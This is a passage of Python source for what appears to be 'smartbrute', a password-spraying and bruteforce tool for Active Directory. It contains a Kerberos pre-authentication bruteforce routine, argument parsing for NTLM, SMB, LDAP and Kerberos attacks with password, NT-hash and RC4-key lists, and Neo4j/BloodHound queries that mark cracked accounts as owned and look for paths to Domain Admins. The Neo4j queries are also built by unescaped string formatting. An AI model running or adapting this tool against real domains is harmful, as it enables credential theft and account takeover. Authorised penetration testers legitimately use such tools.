enumeration is over, resuming attack") 1403 | self.handle_auth_results(domain=self.options.domain, user=user, user_dn=None, password=password, password_hash=password_hash, auth=auth, details=details) 1404 | if user in self.kerberos.disabled_account or user in self.kerberos.principal_unknown: 1405 | # returning None, because then, we don't want to continue bruteforce on an account that we know to be disabled or unknown 1406 | return None 1407 | else: 1408 | if auth: 1409 | return True 1410 | else: 1411 | return False 1412 | except Exception as pre_auth_error: 1413 | logger.error(pre_auth_error) 1414 | return None 1415 | 1416 | 1417 | class Neo4jConnection: 1418 | class Options: 1419 | def __init__(self, host, user, password, port, log, edge_blacklist=None): 1420 | self.user = user 1421 | self.password = password 1422 | self.host = host 1423 | self.port = port 1424 | self.log = log 1425 | self.edge_blacklist = edge_blacklist if edge_blacklist is not None else [] 1426 | 1427 | def __init__(self, options): 1428 | self.user = options.user 1429 | self.password = options.password 1430 | self.log = options.log 1431 | self.edge_blacklist = options.edge_blacklist 1432 | self._uri = "bolt://{}:{}".format(options.host, options.port) 1433 | try: 1434 | self._get_driver() 1435 | except Exception as e: 1436 | self.log.error("Failed to connect to Neo4J database") 1437 | raise 1438 | 1439 | def set_as_owned(self, username, domain): 1440 | user = self._format_username(username, domain) 1441 | query = "MATCH (u:User {{name:\"{}\"}}) SET u.owned=True RETURN u.name AS name".format(user) 1442 | self.log.debug("Query : {}".format(query)) 1443 | result = self._run_query(query) 1444 | if len(result) > 0: 1445 | return ERROR_SUCCESS 1446 | else: 1447 | return ERROR_NEO4J_NON_EXISTENT_NODE 1448 | 1449 | def bloodhound_analysis(self, username, domain): 1450 | 1451 | edges = [ 1452 | "MemberOf", 1453 | "HasSession", 1454 | "AdminTo", 1455 | "AllExtendedRights", 1456 | "AddMember", 1457 | "ForceChangePassword", 1458 | "GenericAll", 1459 | "GenericWrite", 1460 | "Owns", 1461 | "WriteDacl", 1462 | "WriteOwner", 1463 | "CanRDP", 1464 | "ExecuteDCOM", 1465 | "AllowedToDelegate", 1466 | "ReadLAPSPassword", 1467 | "Contains", 1468 | "GpLink", 1469 | "AddAllowedToAct", 1470 | "AllowedToAct", 1471 | "SQLAdmin" 1472 | ] 1473 | # Remove blacklisted edges 1474 | without_edges = [e.lower() for e in self.edge_blacklist] 1475 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges] 1476 | 1477 | user = self._format_username(username, domain) 1478 | value = None 1479 | 1480 | with self._driver.session() as session: 1481 | with session.begin_transaction() as tx: 1482 | query = """ 1483 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) 1484 | WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" 1485 | RETURN COUNT(p) AS pathNb 1486 | """.format(user, '|'.join(effective_edges)) 1487 | 1488 | self.log.debug("Query : {}".format(query)) 1489 | value = tx.run(query).value() 1490 | return ERROR_SUCCESS if value[0] > 0 else ERROR_NO_PATH 1491 | 1492 | def clean(self): 1493 | if self._driver is not None: 1494 | self._driver.close() 1495 | return ERROR_SUCCESS 1496 | 1497 | def _run_query(self, query): 1498 | value = None 1499 | with self._driver.session() as session: 1500 | with session.begin_transaction() as tx: 1501 | res = tx.run(query) 1502 | value = res.value() 1503 | return value 1504 | 1505 | def _get_driver(self): 1506 | try: 1507 | self._driver = GraphDatabase.driver(self._uri, auth=(self.user, self.password)) 1508 | return ERROR_SUCCESS 1509 | except AuthError as e: 1510 | self.log.error("Neo4j invalid credentials {}:{}".format(self.user, self.password)) 1511 | raise 1512 | except ServiceUnavailable as e: 1513 | self.log.error("Neo4j database unavailable at {}".format(self._uri)) 1514 | raise 1515 | except Exception as e: 1516 | self.log.error("An unexpected error occurred while connecting to Neo4J database {} ({}:{})".format(self._uri, self.user, self.password)) 1517 | raise 1518 | 1519 | @staticmethod 1520 | def _format_username(user, domain): 1521 | return (user + "@" + domain).upper() 1522 | 1523 | 1524 | class Logger(object): 1525 | def __init__(self, verbosity=0, quiet=False): 1526 | self.verbosity = verbosity 1527 | self.quiet = quiet 1528 | if verbosity == 3: 1529 | print("༼ つ ◕_◕ ༽つ TAKE MY ENERGY ༼ つ ◕_◕ ༽つ") 1530 | exit(0) 1531 | elif verbosity == 4: 1532 | art = """⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1533 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1534 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1535 | ⠀⠀⠀⠀⠀⠀⠀⣠⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1536 | ⠀⠀⠀⠀⠀⠀⣼⡟⠉⠉⠀⠀⠀⠀⢀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1537 | ⠀⠀⠀⠀⠀⠀⢿⣇⠀⠀⠀⠀⣠⣶⣿⠿⣿⣿⡿⣷⡀⠸⣿⣶⡀⠀⠀⠀⠀⠀ 1538 | ⠀⠀⠀⠀⠀⠀⠘⢿⣆⠀⣠⣾⣿⣿⣿⣶⣿⣿⣶⣿⠁⠀⣠⣿⡇⠀⠀⠀⠀⠀ 1539 | ⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢛⣁⣤⣴⣿⠟⠁⠀ What you gonna do bruh ? 1540 | ⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀ 1541 | ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1542 | ⠀⠀⠀⠀⠀⠀⠀⣿⣿⡟⠉⠉⠀⠀⠈⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1543 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⠁⠀⠀⠀⠀⠀⢻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1544 | ⠀⠀⠀⠀⠀⠀⣾⣿⠇⠀⠀⠀⠀⠀⠀⠀⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1545 | ⠀⠀⠀⠀⠀⠀⠹⢿⠁⡀⠀⠀⠀⠀⠀⠀⠸⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1546 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 1547 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀""" 1548 | print(art) 1549 | exit(0) 1550 | elif verbosity == 5: 1551 | art = """ 1552 | 🌕🌕🌕🌕🌕🌕🌕🌕🌕 1553 | 🌕🌕🌕🌕🌕🎩🌕🌕🌕 1554 | 🌕🌕🌕🌕🌘🌑🌒🌕🌕 1555 | 🌕🌕🌕🌘🌑🌑🌑🌓🌕 1556 | 🌕🌕🌖🌑👁🌑👁🌓🌕 1557 | 🌕🌕🌗🌑🌑👄🌑🌔🌕 1558 | 🌕🌕🌘🌑🌑🌑🌒🌕🌕 1559 | 🌕🌕🌘🌑🌑🎀🌓🌕🌕 1560 | 🌕🌕🌘🌑🌑🌑🌔🌕🌕 1561 | 🌕🌕🌘🌔🍆🌑🌕🌕🌕 1562 | 🌕🌖🌒🌕🌗🌒🌕🌕🌕 1563 | 🌕🌗🌓🌕🌗🌓🌕🌕🌕 1564 | 🌕🌘🌔🌕🌗🌓🌕🌕🌕 1565 | 🌕👠🌕🌕🌕👠🌕🌕🌕""" 1566 | print(art) 1567 | exit(0) 1568 | 1569 | elif verbosity == 6: 1570 | art = """ 1571 | ⣿⣿⣷⡁⢆⠈⠕⢕⢂⢕⢂⢕⢂⢔⢂⢕⢄⠂⣂⠂⠆⢂⢕⢂⢕⢂⢕⢂⢕⢂ 1572 | ⣿⣿⣿⡷⠊⡢⡹⣦⡑⢂⢕⢂⢕⢂⢕⢂⠕⠔⠌⠝⠛⠶⠶⢶⣦⣄⢂⢕⢂⢕ 1573 | ⣿⣿⠏⣠⣾⣦⡐⢌⢿⣷⣦⣅⡑⠕⠡⠐⢿⠿⣛⠟⠛⠛⠛⠛⠡⢷⡈⢂⢕⢂ 1574 | ⠟⣡⣾⣿⣿⣿⣿⣦⣑⠝⢿⣿⣿⣿⣿⣿⡵⢁⣤⣶⣶⣿⢿⢿⢿⡟⢻⣤⢑⢂ 1575 | ⣾⣿⣿⡿⢟⣛⣻⣿⣿⣿⣦⣬⣙⣻⣿⣿⣷⣿⣿⢟⢝⢕⢕⢕⢕⢽⣿⣿⣷⣔ 1576 | ⣿⣿⠵⠚⠉⢀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⢕⢕⢕⢕⢕⢕⣽⣿⣿⣿⣿ 1577 | ⢷⣂⣠⣴⣾⡿⡿⡻⡻⣿⣿⣴⣿⣿⣿⣿⣿⣿⣷⣵⣵⣵⣷⣿⣿⣿⣿⣿⣿⡿ 1578 | ⢌⠻⣿⡿⡫⡪⡪⡪⡪⣺⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃ 1579 | ⠣⡁⠹⡪⡪⡪⡪⣪⣾⣿⣿⣿⣿⠋⠐⢉⢍⢄⢌⠻⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈ 1580 | ⡣⡘⢄⠙⣾⣾⣾⣿⣿⣿⣿⣿⣿⡀⢐⢕⢕⢕⢕⢕⡘⣿⣿⣿⣿⣿⣿⠏⠠⠈ 1581 | ⠌⢊⢂⢣⠹⣿⣿⣿⣿⣿⣿⣿⣿⣧⢐⢕⢕⢕⢕⢕⢅⣿⣿⣿⣿⡿⢋⢜⠠⠈ 1582 | ⠄⠁⠕⢝⡢⠈⠻⣿⣿⣿⣿⣿⣿⣿⣷⣕⣑⣑⣑⣵⣿⣿⣿⡿⢋⢔⢕⣿⠠⠈ 1583 | ⠨⡂⡀⢑⢕⡅⠂⠄⠉⠛⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢋⢔⢕⢕⣿⣿⠠⠈ 1584 | ⠄⠪⣂⠁⢕⠆⠄⠂⠄⠁⡀⠂⡀⠄⢈⠉⢍⢛⢛⢛⢋⢔⢕⢕⢕⣽⣿⣿⠠⠈ 1585 | yamete kudasai !!!""" 1586 | print(art) 1587 | exit(0) 1588 | elif verbosity > 6: 1589 | print("Sorry bruh, no more easter eggs") 1590 | exit(0) 1591 | 1592 | def debug(self, message): 1593 | if self.verbosity == 2: 1594 | console.print("{}[DEBUG]{} {}".format("[yellow3]", "[/yellow3]", message), highlight=False) 1595 | 1596 | def verbose(self, message): 1597 | if self.verbosity >= 1: 1598 | console.print("{}[VERBOSE]{} {}".format("[blue]", "[/blue]", message), highlight=False) 1599 | 1600 | def info(self, message): 1601 | if not self.quiet: 1602 | console.print("{}[*]{} {}".format("[bold blue]", "[/bold blue]", message), highlight=False) 1603 | 1604 | def success(self, message): 1605 | if not self.quiet: 1606 | console.print("{}[+]{} {}".format("[bold green]", "[/bold green]", message), highlight=False) 1607 | 1608 | def warning(self, message): 1609 | if not self.quiet: 1610 | console.print("{}[-]{} {}".format("[bold orange3]", "[/bold orange3]", message), highlight=False) 1611 | 1612 | def error(self, message): 1613 | if not self.quiet: 1614 | console.print("{}[!]{} {}".format("[bold red]", "[/bold red]", message), highlight=False) 1615 | 1616 | 1617 | def print_banner(): 1618 | # print("smartbrute.py version %s" % VERSION) 1619 | print("") 1620 | 1621 | 1622 | def get_options(): 1623 | print_banner() 1624 | description = "The smart password spraying and bruteforcing tool for Active Directory Domain Services." 1625 | 1626 | parser = argparse.ArgumentParser( 1627 | description=description, 1628 | # formatter_class=argparse.RawTextHelpFormatter, 1629 | ) 1630 | 1631 | # defining base arguments (verbosity level, multithreading, ...) 1632 | parser.add_argument("-v", "--verbose", dest="verbosity", action="count", default=0, help="verbosity level (-v for verbose, -vv for debug)") 1633 | parser.add_argument("-q", "--quiet", dest="quiet", action="store_true", default=False, help="show no information at all") 1634 | # parser.add_argument("-t", "--threads", dest="threads", action="store", type=int, default=5, required=False, help="number of threads (default: 5)") 1635 | 1636 | # defining neo4j arguments for setting users as owned for BloodHound 1637 | neo4j_group = parser.add_argument_group("neo4j option") 1638 | neo4j_group.add_argument("--set-as-owned", dest="set_as_owned", action="store_true", help="Set valid users as owned in neo4j") 1639 | neo4j_group.add_argument("-nh", "--neo4j-host", dest="neo4j_host", action="store", default="127.0.0.1", help="neo4j database address (default: 127.0.0.1)") 1640 | neo4j_group.add_argument("-nP", "--neo4j-port", dest="neo4j_port", action="store", default="7687", help="neo4j database port (default:7687)") 1641 | neo4j_group.add_argument("-nu", "--neo4j-user", dest="neo4j_user", action="store", default="neo4j", help="neo4j username (default: neo4j)") 1642 | neo4j_group.add_argument("-np", "--neo4j-password", dest="neo4j_password", action="store", default="neo4j", help="neo4j password (default: neo4j)") 1643 | 1644 | # defining bruteforce mode arguments 1645 | bruteforce_mode = argparse.ArgumentParser(add_help=False) 1646 | bruteforce_mode.add_argument("--delay", dest="delay", action="store", type=float, default=0, help="number of seconds to wait before each attempt (default: 0)") 1647 | bruteforce_mode.add_argument("--stop-on-success", dest="stop_on_success", action="store_true", help="Stop bruteforcing when a valid authentication goes through") 1648 | bruteforce_mode.add_argument("--no-enumeration", dest="no_enumeration", action="store_true", help="Skip basic LDAP domain dump (used to identify privileged users when a first valid auth is found)") 1649 | bruteforce_mode.add_argument("--line-per-line", dest="line_per_line", action="store_true", default=False, help="given a users file and a passwords/hashes file, do not every each password/hash for every user (user1:password1, user2:password2, ...)") 1650 | bruteforced_creds = bruteforce_mode.add_argument_group("credentials to test") 1651 | bruteforced_users = bruteforced_creds.add_mutually_exclusive_group(required=True) 1652 | bruteforced_users.add_argument("-bu", "--bf-user", dest="bf_user", action="store", help="username to test") 1653 | bruteforced_users.add_argument("-bU", "--bf-users-file", dest="bf_users_file", action="store", help="usernames file to test") 1654 | bruteforced_secrets = bruteforced_creds.add_mutually_exclusive_group(required=True) 1655 | bruteforced_secrets.add_argument("--user-as-password", dest="user_as_password", action="store_true", default=False, help="try the username as password") 1656 | bruteforced_secrets.add_argument("-bp", "--bf-password", dest="bf_password", action="store", help="password to test") 1657 | bruteforced_secrets.add_argument("-bP", "--bf-passwords-file", dest="bf_passwords_file", action="store", help="passwords file to test") 1658 | bruteforced_secrets.add_argument("-bh", "--bf-hash", dest="bf_hash", action="store", help="NT hash (or RC4 Kerberos key) to test") 1659 | bruteforced_secrets.add_argument("-bH", "--bf-hashes-file", dest="bf_hashes_file", action="store", help="NT hashes (or RC4 Kerberos keys) file to test") 1660 | 1661 | # defining bruteforce mode using NTLM 1662 | bruteforce_mode_ntlm_mode = argparse.ArgumentParser(add_help=False) 1663 | bruteforce_mode_ntlm_mode.add_argument("--dc-ip", dest="dc_ip", action="store", help="domain controller to authenticate to (when using -p/--application-protocol=smb, it can be set to something else than a DC)") 1664 | bruteforce_mode_ntlm_mode.add_argument("-d", "--domain", dest="domain", action="store", help="domain to authenticate to") 1665 | bruteforce_mode_ntlm_mode.add_argument("-p", "--application-protocol", choices=["ldap", "smb"], dest="application_protocol", action="store", help="application layer protocol with which NTLM authentication has to be tried (default: smb)", default="smb") 1666 | bruteforce_mode_ntlm_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)") 1667 | 1668 | # defining bruteforce mode using Kerberos 1669 | bruteforce_mode_kerberos_mode = argparse.ArgumentParser(add_help=False) 1670 | bruteforce_mode_kerberos_mode.add_argument("--kdc-ip", dest="kdc_ip", action="store", help="key distribution center to obtain tickets from") 1671 | bruteforce_mode_kerberos_mode.add_argument("-d", "--domain", dest="domain", action="store", required=True, help="domain to authenticate to") 1672 | bruteforce_mode_kerberos_mode.add_argument("-p", "--transport-protocol", dest="transport_protocol", choices=["udp", "tcp"], default="udp", action="store", help="transport protocol to use (default: udp)") 1673 | bruteforce_mode_kerberos_mode.add_argument("-e", "--etype", dest="etype", action="store", choices=["rc4", "aes128", "aes256"], default="rc4", help="etype to use (default: rc4)") 1674 | bruteforce_mode_kerberos_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)") 1675 | bruteforce_mode_kerberos_mode.add_argument('--dc-host', action='store', help='Hostname of the target, can be used if port 445 is blocked or if NTLM is disabled') 1676 | 1677 | # adding NTLM and Kerberos bruteforcing modes subparsers to the bruteforce mode 1678 | bruteforce_mode_protocols_subparser = bruteforce_mode.add_subparsers(help="this tells what authentication protocol smartbrute has to use when bruteforcing. When choosing kerberos, smartbrute will operate a pre-authentication bruteforce", dest="bruteforced_protocol") 1679 | bruteforce_mode_ntlm_parser = bruteforce_mode_protocols_subparser.add_parser("ntlm", parents=[bruteforce_mode_ntlm_mode], help="attack through NTLM") 1680 | bruteforce_mode_kerberos_parser = bruteforce_mode_protocols_subparser.add_parser("kerberos", parents=[bruteforce_mode_kerberos_mode], help="attack through Kerberos") 1681 | 1682 | # defining the smart mode arguments 1683 | smart_mode = argparse.ArgumentParser(add_help=False) 1684 | smart_mode.add_argument("-t", "--lockout-threshold", dest="lockout_threshold", action="store", type=int, default=3, required=False, help="number of attempts to leave the user (0 could lockout accounts) (default: 3)") 1685 | smart_mode.add_argument("--delay", dest="delay", action="store", type=int, default=0, help="number of seconds to wait before each attempt (default: 0)") 1686 | smartbruteforced_action = smart_mode.add_mutually_exclusive_group(required=True) 1687 | smartbruteforced_action.add_argument("--users", dest="enum_users", action="store_true", default=False, help="only show users list") 1688 | smartbruteforced_action.add_argument("--policy", dest="enum_policy", action="store_true", default=False, help="only show accounts and passwords policy") 1689 | smartbruteforced_action.add_argument("--user-as-password", dest="user_as_password", action="store_true", default=False, help="try the username as password") 1690 | smartbruteforced_action.add_argument("-bp", "--bf-password", dest="bf_password", action="store", help="password to test") 1691 | smartbruteforced_action.add_argument("-bP", "--bf-passwords-file", dest="bf_passwords_file", action="store", help="passwords file to test") 1692 | smartbruteforced_action.add_argument("-bh", "--bf-hash", dest="bf_hash", action="store", help="NT hash (or RC4 Kerberos key) to test") 1693 | smartbruteforced_action.add_argument("-bH", "--bf-hashes-file", dest="bf_hashes_file", action="store", help="NT hashes (or RC4 Kerberos keys) file to test") 1694 | smartbruteforced_action.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)") 1695 | 1696 | # defining smart mode attacking on the NTLM protocol 1697 | smart_mode_ntlm_mode = argparse.ArgumentParser(add_help=False) 1698 | smart_mode_ntlm_mode.add_argument("--dc-ip", dest="dc_ip", action="store", help="domain controller to authenticate to") 1699 | # smart_mode_ntlm_mode.add_argument("-d", "--domain", dest="domain", action="store", help="domain to authenticate to") 1700 | smart_mode_ntlm_mode.add_argument("-p", "--application-protocol", choices=["ldap", "smb"], dest="application_protocol", action="store", help="application layer protocol with which NTLM authentication has to be tried (default: smb)", default="smb") 1701 | smart_mode_ntlm_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)") 1702 | 1703 | # defining smart mode attacking on the Kerberos protocol 1704 | smart_mode_kerberos_mode = argparse.ArgumentParser(add_help=False) 1705 | smart_mode_kerberos_mode.add_argument("--kdc-ip", dest="kdc_ip", action="store", help="key distribution center to obtain tickets from") 1706 | smart_mode_kerberos_mode.add_argument("-p", "--transport-protocol", dest="transport_protocol", choices=["udp", "tcp"], default="udp", action="store", help="transport protocol to use (default: udp)") 1707 | # smart_mode_kerberos_mode.add_argument("-d", "--domain", dest="domain", action="store", help="domain to authenticate to") 1708 | smart_mode_kerberos_mode.add_argument("-e", "--etype", dest="etype", action="store", choices=["rc4", "aes128", "aes256"], default="rc4", help="etype to use (default: rc4)") 1709 | smart_mode_kerberos_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)") 1710 | smart_mode_kerberos_mode.add_argument('--dc-host', action='store', help='Hostname of the target, can be used if port 445 is blocked or if NTLM is disabled') 1711 | 1712 | # defining the smart mode NTLM authentication arguments 1713 | ntlm_auth = argparse.ArgumentParser(add_help=False) 1714 | ntlm_auth.add_argument("--dc-ip", dest="auth_dc_ip", metavar="DC_IP", action="store", help="domain controller to authenticate to") 1715 | ntlm_auth.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", required=True, help="domain to authenticate to") 1716 | ntlm_auth.add_argument("-u", "--auth-user", dest="auth_user", metavar="USER", action="store", required=True, help="user to authenticate with") 1717 | ntlm_secrets = ntlm_auth.add_mutually_exclusive_group(required=True) 1718 | ntlm_secrets.add_argument("-p", "--auth-password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with") 1719 | ntlm_secrets.add_argument("-H", "--auth-hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help="hashes to authenticate with") 1720 | 1721 | # adding the NTLM and Kerberos target protocol for smart mode attack as subparsers to the NTLM auth protocol 1722 | ntlm_mode_protocols_subparser = ntlm_auth.add_subparsers(help="this tells what authentication protocol smartbrute has to use when bruteforcing. When choosing kerberos, smartbrute will operate a pre-authentication bruteforce", dest="bruteforced_protocol") 1723 | smart_mode_ntlm_parser = ntlm_mode_protocols_subparser.add_parser("ntlm", parents=[smart_mode_ntlm_mode], help="attack through NTLM") 1724 | smart_mode_ntlm_parser = ntlm_mode_protocols_subparser.add_parser("kerberos", parents=[smart_mode_kerberos_mode], help="attack through Kerberos") 1725 | 1726 | # defining the smart mode Kerberos authentication arguments 1727 | kerberos_auth = argparse.ArgumentParser(add_help=False) 1728 | kerberos_auth.add_argument("--kdc-ip", dest="auth_kdc_ip", metavar="KDC_IP", action="store", help="key distribution center to obtain tickets from") 1729 | kerberos_auth.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)") 1730 | kerberos_secrets = kerberos_auth.add_mutually_exclusive_group() 1731 | kerberos_secrets.add_argument("-t", "--ccache-ticket", dest="auth_ccache_ticket", action="store", metavar="/path/to/ticket.ccache", help="path to a .ccache file (kerberos ticket)") 1732 | kerberos_credentials = kerberos_secrets.add_argument_group("credentials to use") 1733 | kerberos_credentials.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to") 1734 | kerberos_credentials.add_argument("-u", "--user", dest="auth_user", metavar="USER", action="store", help="user to authenticate with") 1735 | kerberos_secret = kerberos_credentials.add_mutually_exclusive_group() 1736 | kerberos_secret.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with") 1737 | kerberos_secret.add_argument("-H", "--hash", dest="auth_rc4_key", metavar="RC4_KEY", action="store", help="RC4 kerberos key (i.e. NT hash) to authenticate with") 1738 | kerberos_secret.add_argument("-k", "--key", dest="auth_aes_key", action="store", metavar="AES_KEY", help="AES128 or AES256 kerberos key to authenticate with (in hex)") 1739 | 1740 | # adding the NTLM and Kerberos target protocol for smart mode attack as subparsers to the Kerberos auth protocol 1741 | kerberos_mode_protocols_subparser = kerberos_auth.add_subparsers(dest="bruteforced_protocol") 1742 | smart_mode_kerberos_parser = kerberos_mode_protocols_subparser.add_parser("ntlm", parents=[smart_mode_ntlm_mode], help="attack through NTLM") 1743 | smart_mode_kerberos_parser = kerberos_mode_protocols_subparser.add_parser("kerberos", parents=[smart_mode_kerberos_mode], help="attack through Kerberos") 1744 | 1745 | # adding the NTLM and Kerberos auth protocols subparsers to the smart mode 1746 | mode_subparsers = smart_mode.add_subparsers(help="this is a required argument and tells smartbrute which protocol to use when authenticating to gather information before bruteforcing (like users, policies, ...)", dest="auth_protocol") 1747 | ntlm_parser = mode_subparsers.add_parser("ntlm", parents=[ntlm_auth], help="authenticate through NTLM to gather information") 1748 | kerberos_parser = mode_subparsers.add_parser("kerberos", parents=[kerberos_auth], help="authenticate through Kerberos to gather information") 1749 | 1750 | # adding the bruteforce and smart subparsers to the base parser 1751 | subparsers = parser.add_subparsers(help="this is a required argument and tells smartbrute in which mode to run. smart mode will enumerate users and policies and avoid locking out accounts given valid domain credentials. brute mode is dumb and only bruteforces.", dest="running_mode") 1752 | bruteforce_parser = subparsers.add_parser("brute", parents=[bruteforce_mode], help="bruteforce mode") 1753 | smart_parser = subparsers.add_parser("smart", parents=[smart_mode], help="smart mode") 1754 | 1755 | options = parser.parse_args() 1756 | 1757 | 1758 | # print(parser.parse_args()) 1759 | if options.running_mode is None: 1760 | print("error: please choose between smart and brute for running mode. This has to be supplied as a positional argument (i.e. smartbrute.py smart)") 1761 | parser.print_help() 1762 | exit(0) 1763 | if options.running_mode == "brute" and options.bruteforced_protocol is None: 1764 | print("error: please choose between ntlm and kerberos for bruteforce mode. This has to be supplied as a positional argument (i.e. smartbrute.py brute [options] ntlm [options])") 1765 | bruteforce_parser.print_help() 1766 | exit(0) 1767 | if options.running_mode == "smart" and options.auth_protocol is None: 1768 | print("error: please choose between ntlm and kerberos for authentication protocol when using the smart mode. This has to be supplied as a positional argument (i.e. smartbrute.py smart [options] ntlm [options])") 1769 | smart_parser.print_help() 1770 | exit(0) 1771 | if options.running_mode == "smart" and options.enum_users == False and options.enum_policy == False and options.bruteforced_protocol is None: 1772 | print("error: either set --users or --policy or choose a bruteforced protocol (ntlm or kerberos) as positional argument (i.e. smartbrute.py smart --users [options] ntlm [options], or smartbrute.py smart [options] ntlm [options] ntlm)") 1773 | smart_parser.print_help() 1774 | exit(0) 1775 | if (options.running_mode == "brute" and options.bruteforced_protocol == "ntlm") and options.dc_ip is None and options.domain is None: 1776 | bruteforce_mode_ntlm_mode.error("one of the arguments -d/--domain --dc-ip is required") 1777 | if (options.running_mode == "brute" and options.line_per_line == True) and (options.bf_users_file is None or (options.bf_passwords_file is None and options.bf_hashes_file is None)): 1778 | bruteforce_mode.error("with --line-per-line, argument -bU/--bf-users-file is required and one of the arguments -bP/--bf-passwords-file -bH/--bf-hashes-file is required") 1779 | 1780 | if options.running_mode == "smart" and options.auth_protocol == "kerberos" and options.auth_ccache_ticket is None and (options.auth_domain is None or options.auth_user is None or (options.auth_password is None and options.auth_aes_key is None and options.auth_rc4_key is None)): 1781 | print("error: either set -t/--ccache-ticket or (-d/--domain with -u/--user with (-p/--password or -H/--hash or -k/--aes-key))") 1782 | kerberos_parser.print_help() 1783 | exit(0) 1784 | 1785 | if options.running_mode == "smart" and options.auth_protocol == "kerberos" and options.auth_domain is not None and "." not in options.auth_domain: 1786 | print("error: FQDN domain is needed") 1787 | kerberos_parser.print_help() 1788 | exit(0) 1789 | 1790 | if options.bruteforced_protocol == "kerberos": 1791 | if (options.bf_hash is not None or options.bf_hashes_file is not None) and options.etype != "rc4": 1792 | print("error: -e/--etype was set to aes128 or aes256 but a RC4 key (or set of) was supplied with -bh/-bH, this doesn't make sense. Resuming the bruteforce with RC4 etype.") 1793 | kerberos_parser.print_help() 1794 | exit(0) 1795 | 1796 | return options 1797 | 1798 | 1799 | def main(options, logger, console, neo4j): 1800 | 1801 | # if options.running_mode == "smart" and (options.bruteforced_protocol == "ntlm" or options.bruteforced_protocol == "kerberos") and options.domain is None: 1802 | # logger.verbose("No bruteforced domain was set, using the same as the one used for authentication") 1803 | # options.domain = options.auth_domain 1804 | 1805 | secret = None 1806 | if options.bf_password is not None or options.bf_passwords_file is not None: 1807 | secret = "password" 1808 | logger.info("Starting bruteforce attack on passwords") 1809 | elif options.bf_hash is not None or options.bf_hashes_file is not None: 1810 | if options.bruteforced_protocol == "ntlm": 1811 | secret = "NT hash" 1812 | logger.info("Starting bruteforce attack on NT hashes") 1813 | elif options.bruteforced_protocol == "kerberos": 1814 | secret = "RC4 key" 1815 | logger.info("Starting bruteforce attack on RC4 keys") 1816 | else: 1817 | if options.user_as_password: 1818 | secret = "password" 1819 | # elif options.bruteforced_protocol == "ntlm": 1820 | # logger.error("No password (or list of passwords, or hashes) was supplied, there is nothing to be done") 1821 | # exit(0) 1822 | # elif options.bruteforced_protocol == "kerberos": 1823 | # logger.error("No password (or list of passwords, or hashes) was supplied, there is nothing to be done") 1824 | # exit(0) 1825 | 1826 | table = Table( 1827 | show_header=True, 1828 | header_style="bold blue", 1829 | border_style="grey35", 1830 | caption_style="", 1831 | caption_justify="left", 1832 | box=box.SQUARE 1833 | ) 1834 | 1835 | with Live(Columns((table,), expand=True), console=console, refresh_per_second=10, vertical_overflow="ellipsis"): 1836 | table.add_column("domain") 1837 | table.add_column("user") 1838 | if options.running_mode == "smart": 1839 | if options.enum_policy: 1840 | table.add_column("granular lockout threshold") 1841 | if secret is not None: 1842 | table.add_column(secret) 1843 | table.add_column("details") 1844 | bf = bruteforce(options, table, neo4j) 1845 | if options.running_mode == "brute": 1846 | bf.bruteforce_attack() 1847 | elif options.running_mode == "smart": 1848 | bf.smart_attack() 1849 | table.caption = None 1850 